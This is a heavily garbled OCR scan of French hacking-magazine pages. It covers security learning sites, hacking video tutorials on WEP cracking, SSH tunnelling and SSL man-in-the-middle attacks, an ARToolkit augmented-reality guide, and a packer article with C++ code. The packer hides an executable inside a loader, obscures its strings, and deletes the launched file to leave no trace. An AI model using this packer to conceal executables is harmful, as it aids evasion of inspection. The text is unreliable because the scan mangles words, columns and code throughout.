{F‘.";Pﬂ -:_:le13 ?1“{:?:&]

=

"'c|e de déchifframent
Rosa B 9Lt |
2 m el
chifframent dechiffremant |

Etape | : Connaissances
Géneéerales

L fait de coder un message de tells fagon & le rendre secret ' appslls chiffremsnt La méthode inverss.

Comment ¢a marche

Comment ¢a marche se définit comme & :
un livre ouvert sur l'Informatique ». A :

l'origine, les infos que l'on y trouve sont

URL : http:/fwww.frameip.com

- Etape 3 : J'apprends le web
. RCF-Editeur

L e smart- s poafiang 1P
par Laurent Licour et Yincent Hover
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destinees aux débutants. Mais avec le
temps, la precision et la profondeur de
ces connaissances s'est largement agran-
die, au peint que méme les connaisseurs
y treuvent également des informations

Vous ¥y trouverez ainsi toutes les infor-

e il b ot poecrme " Bar cevisinn OB snaiooes B W el 2000, il mdira possinde s it Bed ool e S e
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Dans un domaine comme linfarmatique,
QU TS I["'.- 5':."51[3‘[11'5!". S0t h(!l!l.':-i..!h Coame-
muniguer entre eux, quelle gue soit leur
marque, leur fabricant ou meme leur
date de fabrication, il fallaic penser «
normes » Depuis 1969, |lnternet estc
décrit dans des documents : les RFC
{Requests For Comments). 5i finalement
peu de RFC font office de nermes, toute
norme destinée i Internet est decrite
sous forme de RFC. Et pour mieux com-
prendre ces documents, RRC-Editeur ze
propose de les traduire, et vous en offre
donc une version dans la langue de
Maliere.

LAMGUE : Francais
URL : http:/lwww.rfc-editeur.org

Aprés avoir appris les bases, il va falloir

i & | k i n 3 '
= = R 5 " ‘A ka3l @
of j=a=fjoo AR T imeLECSTES
Midles = - i hrarhiis L
1 i ® Fl y
B & 5 ! o W ., - i
- r N - Fl ) (]
i r x L O
o e 1 o R
Koo & = & e
= - a4 — = - ¥
e s ST T d B
et e e s amerarry wmm marn. Bbar @ fd et e mi o by G e by
b drr g My ronbmd v (o] e oy e i B o e e, T i
el o i el e AR o NS el M i A
B ISR P e T P OEETLTELE ey Do s mm gy § e OFT vy pmage Ay
—— = 5

se perfectionner. Maintenant, on va sin-
teresser aux réels problemes de secu-
rite, qui fent appels aux connaissances
nformatique. Pour cette étape, la voie du
toturiel est la plus uivie : on lis ces docu-
ments, dans lesquels une mine d'informa-
tion sera livrée. Mais pour chaque ligne
lue, on compte parfois des heures de
renseignements annexes, pour eétre
incollable sur rendement
maxiaml prévu.

e sujet

Madchat
On ne prononce pas les termes & securite
% et o tutoriels » sant parler de Madchat,

RFC-kditeur.org

towtes les RFC tradultes en Francals

d__: Jartes Lnus [ Gentes Hews BBmisphaic [N s mth

naturellement. Maniaques, s'abstenir :le site
nest pas du tout dessing pour le visiteur
lambda. La navigation est parfois « labyrin-
thesque » mais le contenu est reel,

LANGUE : Frangais/Anglais
URL : http:/’'www.madchat.org

Ouah !

Ouah.org est moins connu que madchat,
certes, mais il centralise aussi quelques
uns des meilleurs documents relatifs a la
securite informatique
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Challenge Securitech 2006
Si vous éres abonné ol =i vous aver
acheté ce magazine dés sa sortie,
vous avez peut-etre encore le temps
de participer au génial et annuel
Challenge Securitech, organisé par
des étudiants de |'Esiea. Le niveau de
'adition 2006 semble tour aussi

excellent que les précédentes.

LANGUE : Frangais/Anglais
URL : www.ouah.org

L'etape suivante est bien sur la mise en
pratique de vos nouvelles connmaissances.
Et pour cela, rien de tel que des challen-
EEE que mettent des connaisseurs 3
votre disposition.

Rendez-vous sur hop:hackergames.net pour
decouvrir encore plus de bonnes adresses |

SecurityChallenge

La version 2006 est belle est bien termi-
nee, mais les corriges arriveront ces pro-
chains mois. En attendant, retrouvez sur ce
site les corriges des anciennes sessions, et
sarver-vous en donc comme des annales

LANGUE : Francais

URL : httphwwwsecunity-challenge.com

Voutil du moirs : BackTrack
Il ne s'agit ni d'un logiciel, ni d'un site
web, mais d'un live-CD. Il était une
tois une distribution embarquee nom-
mée Whoppix, qui servait a de nom-
breuses demonstrations de hacking.
Yvhoppix evolua en YWhax, qui elle-
méme se fusionna i Auitor, pour ne
plus faire qu'un seul CD : BackTrack
érait nee. Cetre distribution renferme
certains des meilleurs logiciels de

securité et d'audit que Linux puisse
vous offrir. Un live-cd qui vous per-
mettra de procéder 3 de petits audits

facilement : rien a installer, juste a
booter sur un CD, et vous voila en
route pour de nouvelles aventures.

URL :
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- |l existe de nombreuses manieres d'apprendre. La
- plus usitée est certainement le mode « tutoriel » : il

BIE

ous lisons
tous des

documents : ; 2 ; E
- s'agit de suivre un document laisse par une personne

expérimentée, qui explique pas a pas les étapes pour
arriver a un résultat. Ces tutos se présente sous
differentes formes, allant des documents textes a un

sur des sujets
divers lias au
hacking que nous :
ne comprencns

parfois que par-
| tiellement (parce
% que, par exemple,

ils ne sont pas
écrits dans notre langue maternelle), Ces
textes, les fameux tutoriaux — ou tuto-

riels, selon les disciples — permettent :
d'amorcer un apprentissage : on ¥ voit :

comment realiser un action, et le travail
a faire reste de se renseigner sur les dif-
ferentes partie qui constituent ou per-
mettent la realisation de cette action.
Mais ces tutoriaux sont parfois long a
ecrire, et difficiles parfois dexpliquer
avec des mots :|'idée d'une version video
est nee, parce quun bon exemple vaut
mieux qu'un long discours,

Le plus connu de ces tutoriels vidéos est :

certainement celui qui porte le doux
titre de « Cracking VWep in ten minutes
w. Disponible sur hackdefined.com [I],
cette video fait office de precurseur dans
le domaine : on y voit comment, en seu-
lement quelques minutes, des outils dis-
ponibles sur feu la distrib wheopix
(devenue depuis BackTrack, teléchargea-
ble chez remote-exploit.org [1]) peuvent
cracker une clef de protection wifi (&
neter gu'il s'agit alors de clef de 64 bits).

Les raisons de ce succes! Un langage
compris de tous (les images) et une faci-
lité de réalisation pour lauteur : une
démonstration filmée (grice a une

caméra ou i un logiciel de capture :

d'image-écran) suffit a faire le tutoriel,
Certains agrementerons eventuellement
leur production d'un texte explicatif.

Le big-bang de « l'univers des Tutes
Vidéos » est né.

format de plus en plus rencontreé : la vidéo.

. Craocking Wep in ten minutes

Sur le net, grace a votre moteur de
recherche favoris, vous pourrez trouver
de nombreuses videos concernant le
hacking. Certains site en rassemblent
plus que dautres. Voici un petit tour
d'horizon des meilleurs de ces sites et
de gquelques vidéos qui ¥ sont proposées,
Les guelques extraits vous montreront
que beaucoup d'éclectisme régm? dans

cerce nouvelle discipline. Er il existe

. encore bien d'autres sujets enseignés via

la vidéo que vous pourrez découvrir. Ces
sites ne sont gu'un point de départ, la
democratisation du podcast servira
peut-etre egalement ce genre de « for-

mation assistes par la vidéo =

Références :
[ 1] http./fwww. hackingdefined.com/
movies/see-sec-wepcrack.zip

[2] http:iwww.remote-exploit.org/

Do it yourrelf !

Pour faire ces vidéo, les auteurs utilisent dif-
férents logiciels.

Sur Windows tout d'obord, oi peul dter le
nom de Wink : idéal pour lo réalisafion de
tutorioux, il permet lo copture d'éeran et 'en-
registrement sur différents formats tels que lo
vidéo (normal ) ou le flash.

Linux n'est pas en reste ove 'excellent xvid-
cop, qui va vous permettre de copturer les
images de voire serveur X. Le plus bidouil
leurs d'anire vous essayerons peut-éire d'ufili-
ser lewr sorfie TV ef un second ordinaleur pour
lo copture, mois au dépend du fexte qui sera

illisible --).




HackingDefined

Ce site, gqui héberge la fameuse video sur
le Wep, en heberge quelques autres (une
demi-douzaine, pour étre plus ou meins
precis). Parmi celles-ci, une intéressante
demonstration sur les tunnels 53R et
leur détournement a dessein dinfiltra
tion de reseaux locaux incernes 5-E'F|5é'
gtres non-routables.

Titre de la vidéo : Tunneling Exploits via
55H

URL : http://hackingdefined.com
(rubrique Demos)

ironGeek

Pres de 40 vidéos composent la biblio-
theque dlronGeel. Certaines dentre-
elles sont issues d'autres sites, et d'autre
ne sont pas vraiment des vidéos pédago-
giques ; malgre cela, toutes sont iNLEres-
santes. Deux vidéo ont retenu mon
o« Basic NMAP usage » et «
Basic Tools for Wardriving ».

attention

La premiére vidéo vous montrera |'utili-
sation de NMAF, le plus connu et proba-
blement le plus puissant des scanneurs
de ports

La seconde vous presentera I'utilisation
de logiciels pour le wardriving, une
epreuve tres sportive consistant a
conduire un vehicule avec un ordinateur
portable sur le siége passager, avec |a
carte wifi et un sniffer allumé pour
détecter les réseaux Wifi alentours

URL : http:/lirongeek.com
{rubrique Hacking lllustraced)

5 consoles valent mieux que |0 pages
d'explications
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Deécouverte ~ur sessior
UnderNewbie

BIE Vous trouverez |7 vidéos a |'affiche sur
ce site. Certaines sont appreciables en
ce qu'elle demontrent l'importance de la
securite informatique. Par exemple, |a

vidéo numéro |6, qui démontre com
ment un pirate peut voir quels sont les
sites visites par sa cible. Exemple concret
du tutoriel : le script VB apparait claire-
ment durant la video, il ne reste qu'a se
renseigner sur les difféerentes fonctions

gjiie I'an ¥ trouve.
LURL : hitp:/funder.newhie.free.fi

nemoteExploit

le ne vous présente plus remote-

exploit.org, que vous connaissez déja si
vous avez lu le debut de cette
surfSession. Et bien, en plus d'herberger
BackTrack, remote-expoit intégre quel-
ques unes des plus sympathiques vidéos
pedagogiques. Pour lextrait, ]'a| retenu
deux videos. L'une illustre la fameuse
attaque du Man in the Middle appliquée
au décryptage des tunnels S5L. L'autre se
concentre sur la deés-authentification

massive dutilisateurs, une attaque par-
fois trés coiiteuse sur differents plans
pour la victime.

WURL : hitp:'www.remote-
exploit.org/

Dins Resolves Original [p
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eler des
objets vir-
tuels en 3D
a des scénes reellas

n'a pas d'intéréc
que pour le
cinema Les
:.J! concepts de realite
S | augmentée en
nfographie seront
peut-étre les bases de [interaction
homme-machine de demain. Les possibi-
licés sont infinies : livres virtuels animes
que 'on feuillette réellement, panneaux
interactifs dans les musees, interface uti-
lisateur a la Minority Report....

Je vous propose de faire quelques expe-
rimentations avec ARToclkit, dont la ver

sion publique et open-source permet
quelgues effets épatants. Le but de ce
toolkit est de permettre d'afficher un
objet virtuel {(modele 3D animé ou non,
vidéo projetee, etc.) au dessus d'un motif
imprimé sur une feuille de papier ou une
surface plane. Tout l'intéréc réside dans le
fait que le traitement est en temps reel,
et gue lobjet suit le motif si on le
deplace.

L'illusion deit étre plus percutante si l'on
posséde une paire de lunettes avec affi-
chage led (hmd : head mounted display).
Mais on peut arriver a des résultats inte-
ressants avec une simple webcam et un
pc Linux.

ARToolkit n'est pas tout a fait distribué
sous une forme prete a | emplei. En par-
ticulier, la mangue de

détails, et il est difficile de saveir par quoi

documentation

- e
commencer. C'est la raison d'étre de cet
article

Réalité augmentee =

Nous vous proposons pour une fois un petit hack qui
n'a pas de rapport direct avec la sécurité informatique.
Il s'agit d'un toolkit qui permet d'incruster en temps
réel des objets 3D a une scéne filmée, avec une simple

webcam bon marche.

Exemple de pattern a imprimer

Principe de fonctionnement

Méme si les résultats sont plutdt funs, ce
toolkit permet de résoudre des problemes
relativement complexes de vision par
ordinateur. La premiére difficulté est de
reconnaitre un motif dans la scene filmee.
Pour simplifier certe operation, les auteurs
ont choisi dimposer un cadre noir fixe
pour tous les paterns (voir ilustration).
Le probléeme se réduit donc a reconnaitre
des quadrilateres dans la scene. Aprés un
sevillage (conversion en une image noir ou
bbnc). on peut facilement determiner les
contours rectilignes, et selectionner ceux

qui forment un carré (en perspective). On
élimine ensuite les elements intrus de
'image, en_ne retenant que le carre qu
contient un motif prédefini, 2 Maide de eri-
téres statistiques preenregistras.

Un fois gu'on _a déterminé emplace-
ment du mortif dans limage, il faut en
déduire [a pasition relative de la camera,
afin de placer 'objet 3D de synthése au
ban endroit. dans la scene virtuelle qui
doit se @ superposer a
Connaissant la aille reelle du motif, il est
possible de faire ces calculs.a partir de

[ E
image.

son contour en perspective. L asymetrie
du morif permet ensuite d en decerminer
[orientation exacte.




-
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Compilation

Vous trouverez sur le site donne en réfé-
rence une archive contenant les sources
completes du toolkit, ainsi que de quel-
ques outils de test et de demo. Il semble
egalement exister une version précoms-
pilee pour Windows, mais nous nous en
tiendrons a Linux ici.

La compilatian du tooclkit est simple : lan-
cer .[Configure, choisir le type de
camera (probablement videodlinux), et
lancer make. Les exécutables compilés
se trouvent dans le sous-répertoire bin,
Quelgues fichiers de données sont aussi
presents dans bin/Data.

En cas de probléme, vérifiez que vous
possedez une wversion de GLUT (par
exemple Freeglut) et les fichiers de déve-
loppement de v4l, qui semblent étre les
seules dependances.

Créer un pattern

. o
mk_jatt :le pattern est prét 4 8tre mémoriser

On peut utiliser des patterns préexis-
tants, que l'on peut imprimer {en deit
méme pouvoir utiliser cette page du
Magazine). Les données statistiques du
motif Hiro sont fournies avec les sour-
ces. Mais on peut aussi en fabriquer un
soi-meme. || est dailleurs conseilleé de
mémoriser les caractéristique du motif
avec sa camera et dans les conditions
d'éclairages dans lesquelles on veut I'uti-
liser. Mes essais ant montré qu'il n'était
pas necessaire deétre trop rigoureux
pour arriver a un resultat qui fonctionne.
L'outil mk_patt permet denregistrer les
caractéristiques dun motif. Lorsqu'on le
lance, on nous demande de choisir le
fichier contenant les caractéristique de |a
cameéra. |l est en effer possible de calibrer
sa caméra (calib_camera), afin de tenir
compte des déformations qu'elle induic
Les paramétres par défaut proposés sont
cependant suffisants. ll faut ensuite placer |a
camera a la verticale, au dessus du mouf, et
de faire un click gauche dés quiil est
detecte (contours rouge et vert, voir l'illus-
tration). On saisit alors un nom de fichier,

Incruster des objets

Lorsqu'on a vérifié que le systéme est
capable de reconnaitre le motif qu'on a
choisit avec mk_patt, on peut lancer
quelques démos. Le programme exview
est interessant, parce quil permet de
verifier que lorientation du motif est
bien reconnue. |l permet de visualiser la
position de la camera virtuelle (touche
c) et dafficher le seuillage (touche d).
Voir lillustration.

Tous les exemples utilisent le pattern
Data/patt.hiro par defaut. Pour utiliser le
vatre, copiez-le 4 cet emplacement, ou
maodifiez le code source.

Linux), qui est le standard pour la cap-
ture d'image. |l faut d'abord configurer
son noyau pour intégrer v4l, et ensuite
compiler le driver correspondant a votre
webcam. Selon votre distribution, tout
sera peut-étre déja installe. Vous pouverz
verifier que tour fonctionne en testant la
presence de /devivideo ou en lancant le
programme v4l-info, ou directement un
des programmes de test de ARToolkit
ARToolkit a ete congu pour fonctionner
avec des camera de bonne resolution. La
taille de capture par défaut est de
&£40x 480, ce qui est trop pour une petite
webcam.

e LY 4

exview [ en bas o gouche, la position de la caméra ; a droite, le seuillage

On peut aussi utiliser simpleTest qui affi-
che simplement un cube a I'emplacement
du motif, Il est facile de le modifier pour
quil affiche d'autres types d'objets (fonc-
ton draw()), pour peu qu'en ait des
notions d'OpenGL. Voir illustration.

La plupart des webcams sent reconnues
sur Linux avec un driver v4l (Video for

On peut connaitre les limites de sa
camera avec :

$ vil-info | grep mex
mawidth : 352
meEvheight : 288
Il faut ensuite adapter le fichier

includes/ARSconfig h.in avant de lancer
Configure :



BIE

simpleTest : suffisant pour faire illusion

Ressources

-#define DEFAULT VIDEQ WIDTH 640 AR Toolkit :

-$define  DEFAULT VIDEOQ HEIGHT 480 http://mtd.fh-hagenberg.at/depot/graphics/

-#define  DEFAULT VIDEO CHANNEL 1 artoolkit/

+#define DEFAULT VIDEQ WIDTH 352 Shared Space :

+#define DEFAULT_VIDEO HEIGHT  28B - http:/f'www. hitl. washington.edu/

+f#dafine DEFAULT VIDEO_ CHANNEL O - researchishared_space/

- Linux AR Howto (voir archive.org en cas diindisponibilite) :

Dans mon cas, |'al du spécifier le channel http:/imixedreality.nus.edu.sgf
0. Ce n'est peut-&tre pas toujours néces- softwareffiles/tutorial/LINUX-AR-tutorial-public-nov-
saire. 02.htm
Les outils du toolkit utilisent ces nou- Freeglut :
veaux parametres, a |'exception de - htep:/ /freeglut.sourceforge.net/
mk_patt, qu'il faut aussi adapter (exam- Video4Linux:
ples/mk_patt/mk_patec): http:linux.bytesex.org/val2f

- hitp: MNinuxtyv.org/vdlwiki
-char *vconf = "-width=640 -height=4B0";  Ressources v4|
+char *vconf = "-width=352 -height=288"; - (divers, programmes, etc.):
hitp:/f'www.exploits.org/v4ll
Bref, profitez des sources, puisqu'elles : Vidéo surveillance avec v4l :
sont disponibles ! ' - http://motion.sourceforge.net/
http:llwww.zoneminder.com/
Et n'oubliez pas que de nombreux autres
applications utilisent v4l (vair les res-
SoOUrces).
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Dac

'approche objet donne une auvtre vision
R

‘ecriture d'un
« packeur »
t de
INYErse, un €
unpackeur », est
un veritable exer-
cice de style. Elle
met  en

50N

nigues elementai-

v 150

I'effert que I'en lui apporte.

Une approche différente

Parmi les techniques elementaires mise

en jeux, c'est sans aucun doute celle de :

'assembleur qui rebute les program-
meurs. Et si on repensait le probleme,
ecrivons notre outil en langage évolue,
Le langage C, quand on ['utilise correcte-
ment, est trés proche de I'assembleur en
termes de taille du code et de vitesse
d'exécution. On défini par taux d'expan-
sion le ratic wille du code en langage
evolue/ taille du code en langage assem-
bleur, avec un bon compilateur ce qui est
le cas avec ceux du marche actuel on
obtient un ratio de 1.15. Quand le pro-
grammeur commence a écrire du code
complexe, ['avanape tourne tres vite en

faveur du compilateur. Dans cette phase .

d'optimisation du code produite par le
compilateur est plus performant que
I'eptimisation faite par un programmeur
meme tres « bon ».

On peut denc écrire notre « packeur »
et « unpackeur » avec cette vision. La

connaissance de la structure des fichiers

exécutables a éré largement débartue
dans plusieurs articles dans le magazine.
Le compactage des donnees est simple a
réaliser des algorithmes plus ou moins
compliques (eeris en C ou en assem-
bleur), il est en est de méme pour le
cryptage des donnees, Les techniques de
cache d'appel systéme et de chaines de
caracteres ont fait aussi I'objet d'articles
dans le magazine

beaucoup de tech- :

res qui mise bout :
en bout en font un :
outil plus au meins performant selon :

Techniquers élémentaires

- En matiére de packing, les reversers ont souvent
- tendance a privilégier |'assembleur pour écrire leurs
- outils. Cependant, cet article montre d'une part qu'il
- est aisé de le faire en C et d'autre part qu'un langage
. de plus haut niveau apporte certains plus qui ne sont
- pas négligeables.

CCUYIre .

Parmi les techniques élémentaires mises en jeu dans un packeur/unpackeur, on trouve
o lo connaissance de lo structure des fichiers exécutables,

o le compacioge des données,
o le crypioge des données (i I'on désire aller plus loin),

o les techniques de «

o les technigques de « coche

eoche » des appels sysléme,
» des chaines de corocieres,

o ef 'nssembleur (plus difficle @ maitriser qu'il y porait pour un néophyte).

- Comme l'on peut le constater le gros

est bien |'assembleur. Alors
utilisons le langage C et regardons si

point noir

tion dans un « loader » vide, un execu-
table compresse et crypte. Le loader est
capable lors du lancement .

d'extraire de son propre fichier |'exé-

cutable injecte,

de le decrypter,

de le décompresser,

de generer un fichier temporaire de

fagon dynamique,

de lancer ce fichier temporaire (type

du fichier :exécutable),

de le detruire apres son execution,

. Packeur

- Cet outil nous permet d'injecter une
- section de plus dans un fichier appelé «
loader vide ». Cette section contient un
. fichier compressé et crypté. Rien de plus
. simple en somme, regardons de plus

prés chaque étape. La premiere consiste

. en la création d'un projet appelé «
. packeur » avec comme modéle une
application de type Win31, Visual studio
: cette approche tiens la route. ['ai utilisé :
: Visual studic C++ de chez Microscft.

C++ va générer un projet avec une boite

: de dialogue. Cette boite de dialogue est
inutile, tout comme les chaines de carac-
Uidée de base est de rajouter une sec- :

téres (Version, Auther, etc....) je vous

: invite donc 4 détruire tout cela. A partir
- du corps du programme, on fait directe-
: ment appel au corps de notre pro-
. gramme. Le programme utilise largement
. les classes.

- Architecture
Elles sont aux nombres de 3. Le tout

ecrit dans 5 fichiers.
La classe qui régit le tout dispose de
deux fonctions dites « publiques » :
Encodage et Décodage,
une classe qui réalise la

compression/decompression,

une classe qui realise e

cryptage/decryptage,

une classe d'injection d'un fichier dans

un executable,

et une classe d'extraction et lance-

ment du « sous- process



Grace i cette boite a outils modulable a
souhait on peut faire ce que l'en veut,

simple ou complique.

On obtient denc I'arbre d'appel :
|. Encodage (fonction d'entrée)

2. Demande du fichier a injecté (en fait :

le loader vide),

3. Demande du fichier gui doit étre :
. Programme principal
. Le programme principal se résume a :

injecte (le code de |'executable),
4. Compression du fichier,
5. Cryptage du fichier,
6. Fin du programme.

Comme 'on le voit, c’est trés simple. [ai :

utiliseé comme algorithme de compression

la méthade d' HUFFMAN, écris en C, pour
la phase de cryptage |ai utilise la methode

« BASEE4 » ecris elle aussi en C.

les outils

lls sont nombreux sur Infernel. ui personnel-
lement trovaillé avec PE Explorer version 1.97
et PEBrowse Professionnel version 7.11.5.0 et
I'inévitable OllyDbg bien connu des program-
meurs. PE Explorer et PEBrowe Professionnel,
m'ont permis de mieux comprendre le format
des fichiers PE de Windows.

PEBrowse :

PE Expiower ;

OyDibg

basebi et chiffrement

Le codoge en basebd n'est pus exoclement un algorithme de chiffrement efficace, parce qu'oisé @
retonnailre el & inverser. Pour rappel, cel algorithme est utilisé pour fransmetire des données binai-
res @ travers un canal de tronsfer! de texte qui risque de modifier cerlains coroctéres osci (en por-

ficulier les mails).

On remaorquera cependant que quelque que soit |'algorithme ulilisé, votre programme packé
contiendra fotalement fous les éléments nécessaire ou déchiffrement, y compris les dlés.

BOOL
CpackeurApp: :InitInstance() |
CWinApp::InitInstance();
C_Chapeau *pt_chapeau =
new C_Chapeau;
pt_chapeau->Full Encodage();
delate pt_chapeau;

return FALSE;

: Les chaines de caractéres n'apparaissent
. pas en clair dans l'exécutable, elles sont
: encodées. La fonction « Transforme »
: réalise le décodage juste avant leur utili-
. sation, Lencodage est trés simple et ne

.-f..
)

@TE 2 gl

: met en ceuvre aucun algorithme particu-

¢ lier juste un masque
: define) et

(definie par un

un complement a FFh.

: Uinitialisation d'une chaine caractére se

: résume donc 3

: 5 I'on regarde I'enchainement de la fonc- ¢
. tion « Full Encodage » on retrouve la :
. description faite plus avant Voir encadre.

[-.]

ff "whbhs"

table constante([d4][0] =
(char)~('w' + MY _KEY);

table_ constanteld4][1] =
(char)~('b' + MY _KEY);

tabla constantal[4] [2] =
(char)~{'+' + MY KEY¥);

table constante[4][3] =
(char) -~ (MY_KEY);

[.-]

i {V¥oir le code complet de € Chapeau:
- Transforme sur le wiki.)

. Lafonction « Compresse_Buffers réalise suc-
. cessivement ka compression dun buffer puis
: l'encodige de ce méme buffer Vi encadre.

Y Y
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ELI Fonction full_Encodage
int C_Chapeau::Full Encodage() {

/¢ Assignation ef vérification des fichiers en enfrée
int status = Assigned File():
if (status == TRUE) {
char *pt_out;
DWORD count out;
pt_G3D = new G3D;
Ouvre_ fichier lecture(cutput_file_endad);
count_out = Compresse Buffer|(
(char *) m pFileData, &pt_out);

/i ".g3ar
Transforme (0, &Ept_G3D->buffer local[0]);
ff "Inject "
Transforme (1, &pt_G3D->buffer local 1[0]);
| P "ea%atka"
| Transforme (2, kpt_G3D->buffer local 2[0]);
;f "z
Transforme (3, &pt_G3D->buffer local 3[0]):
ff "wb+"
Transforme (4, &pt_G3D->buffer local 4[0]1);
pt_G3D-»>Work(input_file to ancoded,
pt_out, count out);
delete pt G3D;
}
}

Fonction Gompress_Bukfer

[..]
/¢ Calewl de fo future taille compressée
= pt_huff->Dictionary( (BYTE*)pt_in, m nDocLength,
&Qwbt [0] ,&4wc [0] ) ;
| DWORD dwLength = pt _huff->CountCompress (
i (BYTE*)pt_in, m nDocLength, wta, &dwc[0]):

/¢ Allocation dv buffer temporaire pour Huufamn

pt_inter = (char *)GlocbalAlloc(GMEM FIXED,dwLength);
/¢ ou bowlot mointenant que fout est prét

pt_huff-»>Compress (

(BYTE*)pt_in, m_nDocLength,
wia, &awbt [0] ,&dwc [0] , (BYTE*)pt_ inter);
/¢ Allocation du buffer temporaire pour Base 64
DWORD dwRunLength = pt_base->EncodedRunLength |
(BYTE*)pt_inter,dwlLength);
/¢ Allocation du buffer temporaire
pt_out = (char *)Globalalloc(GMEM FIXED,
dwRunLength) ;
pt_base->RunLengthEncode (
(BYTE* )pt_inter,
dwlength, (BYTE*)pt_out);
GlobalFree (pt_inter);
return (dwRunLength) ;
[-]

34

Modification du fichier
La classe principale de la classe d'inser-

tion d'un buffer dans une section est rea-

- lisée par la fonction « Work ». Le tourt

est toujours aussi simple quand en
connait le structure des fichiers exécuta-
bles (format PE pour Windows). Voir
Bncadre,

- Unpackeir ouu loader vide »

: Mous allons créer un projet du méme

type que celui du « packeur » avec les
mémes classes mais la fonction appelé&

au lancement n'est pas la fonction «

. Full_Encodage » mais la fonction «

Full Decodage »

On obtient donc I'arbre d'oppel

|. Décedage (fonction d'entrée)

2. Lecture de fichier lancé et extraction
des donnees contenus dans la section

3. Decryptage des daras

4. DECl::-r'l‘upr'E.f.E.i::lr'u des datas

5. Creation d'un fichier temporaire
dynamique et lancement,

6. Destruction du fichier temporaire
apres la fin de son exécution.

Le prograrmme principal se résurme cette fors @ -

BOOL CunPackeurApp::InitInstance()
{
CWinApp:InitInstance();
/¢ Une seule instance ?
if ( Seul() == TRUE) (

/1 I'm alone

C_Chapeau *pt_chapeau =

new C_Chapeanu;

/1 (Phase de test)
pt_chapeau->Full Decodage(
"K:\\Inject_packeur vide");

/1 (Appel Réel)
/ /pt_chapeau->Full Decodage(
Hf m_pszAppName ) ;
delete pt_chapeau;

1

return FALSE;

}

Décodage

Tout comme dans la phase précédente
on retrouve |'arbre dappel vu précé-
demment.

Le fichier extrait de la section est
ensuite écrit sur le disque puis lancé.
Apres son exécution, on le détruit sur le

disque dur, pour ne |aisser aucune trace.




Fonction Work
[.]

void GInsert::Work(

C8tring exa in, char *pt_in crypted,
unsigned int lg ressource crytree) {

¢+ on change le nom du fichier de sortie 6 partir du nom dy fichier
d'antré
axe out = Transform(exe_ in) ;
exe=fopen( axa_in ,&buffer local_3[0]);
if (exe) { /7 sipasd'errevr
/¢ on lit les enfefes
fread ( &Dos_header;
gizeof (IMAGE DOS_HEADER),
l.,exs);
feeek (axe, Doe_header.e_lfanew,0);
fread (&Nt header,sizeof (IMAGE NT HEADERS),
l,exe);

/1 el les entétes des sections

La fonction de déecompression est symeé- foria = 0 ;a « { nb sectiona + 1) ; a++)

trigue par rappert i celle de compres- fwrite(&tab sections[a],

sion (voir sur le wiki) sizeof (IMAGE SECTION HEADER).1,
rasult);

Lancement du programme ]

Le lancement d'un sous process est des : versio /¢ on doit faire du Fﬂ'ﬂ'ﬂ'-fﬂg' car lo taille du

plus courant avec une fonction prévu a | d'origi t¢ heoders est par exmple 1000 et on doit

1/ écrire de l'index courant a cetfe limite

long longueur =

S Inject_packeur_vide - winpe
Ble Bars pelp Yews Forks Nt header.OptionalHeader.SizeOfHeaders
Dc| &% - sizeof (IMAGE SECTION_HEADER) ;

T SC CHEFC | CRT T CCFOCIr ey —— fc,r [a = ft&ll [EKE! :| i a < 1.:’]1.;1_191_11' H ﬂ_++}
REBNEL3Z.dl1 fwrite("\x00",1,1,result);
Hine/Hame Table: OOO03T1C
TimeDat &8 s § oooooooD
ForwardsrChain: OODOOOQC0
First thunk EVL: 00003000
77 CreateFileh (IAT: O0DOO3BZZ) ] . .
'
b Earrestarite 1ELT: GOOEIIC) /¢ on mel ensuite les datas de notre section

347 GetfileSize (IAT: ODOO3AEE) fwrite((char *)pt_ in crypted,
454 GClobalklloe (IAT: CDOO3AEQ)

£01 GlcbalFess [(IAT: OODO3IADZ) lg ressource crytree,l, resulkt);
B67 UnmapViewofFile (IAT: 00O003ACO) Iy pan’dmy sur nofre seclion

46 Closefandle (IAT: ODO0OO03ABRZ) 1

479 GecVerzioaExh [(IAT: O00O003IBIO) cngqueanr =

BS99 WPaitForSingledbisct (IAT: OOOO3IB40) tab sections[nb sections] .SizeOfRawData;
E94 LocalFres |(IAT: QDDD3IBSE)

234 FormatMessageh (IAT: 0OCO3BEZ) for(a = lg ressource crytree ; a < longueur ; a++)
361 GetlastError (IAT: OOOD3IB74) fwrite("\x00",1,1,result) ;

86 CremteProcessh (IAT: DDODIBE4) :
312 GecCucrentlirectoryh (IAT: DODODIEDG) fclose(result);
918 WriceFils (IAT: OQOOD3IBAE)

124 DelecaFilsd (IAT: OOOO3BEA)

487 GetTempFileNam=A [IAT: QQQU3DL3)

777 SetBwvent (IAT: ODODIBDC)

E37 InitimlizeCriticallsceion [IAT: ODDOIBES) it

122 DelsteCritioslSsction (ILTi ODOO3ICOE) cet effer. Le process appelant est en

VTS ERPya— LR S attente de fin d'exécution du process
175 GetHoduleHandlelh (IAT: DOOO3ICIE)

431 OGetScartuplnfolk (IAT: O0003C3IE) lance. Yoir encadré page 38,
6§63 QueryPerformanceCounter [(IAT: O0OOD3CS0) 2

469 GecTickfount (IAT: DDODICEL)

3i8 GeeCurrencThreadId (IAT: DOOOACTL) nnﬂul}ﬂg HDSSH]IES

315 GetCurcentProcesald (IAT: 00003ICI0)
448 GecEyscemTimelaTileTime (LAT: QUOLZLAS) k g
-8 ;Etu::F'ﬂTEHu.ppln-:lL (IAT: OOODIBOC) raient le fonctionnement de notre «

Aveons-nous laisseé des traces qui trahi-

unpackeur » ? je répondrais sans hésiteé

L AL,
Ready




Technique [2ckors «

fonction lancement _avee wait
[..]

Lancement avec walt (C3tring Fichier) {
/4 Mise forme des différentes variables nécessaires
sprintf (nom_ fichier commande, "%s",Fichier);
GetCurrentDirectory (MAX PATH, &3ir[0]);
memset (ksulInfo, 0, sizeof{suInfo));

gulnfo.cbh = sizeof (sulInfo);

/¢ Loncement du sous process
bWorked = ::CreateProcess(NULL, nom fichier commande, NULL,
NOLL, FALSE, MORMAL PRICRITY CLASS,
NULL, dir, &sulInfo, &procInfo);
if (bWorked == FALSE) {
dwResult = FormatMessage (FORMAT MESSAGE_ ALLOCATE_BUFFER
| FORMAT MESSAGE FROM SYSTEM,
NULL, dwBrror, LANG NEUTRAL,
{LPTSTR) NULL) ;
Transformea (9, Ebuffer texte[0]):
1f (dwResult == 0) pstrBError = Ebuffer texte[0];
Transforme (10, &buffer texte 1[0]);
gtr.Format (Ebuffer texte 1[0],
if (dwResult != 0)
AfxMassageBox(8tr) ;
¢ Erreur lors du lancement
return (FALSE);
} else { // on aifends
DWORD dwBReturn =

&pstrError, 0,

petrError, dwError);

::LocalFrea{patrError) ;

1 :WailtForSingleObiject (
procInfo.hProcess, INFINITE):

}

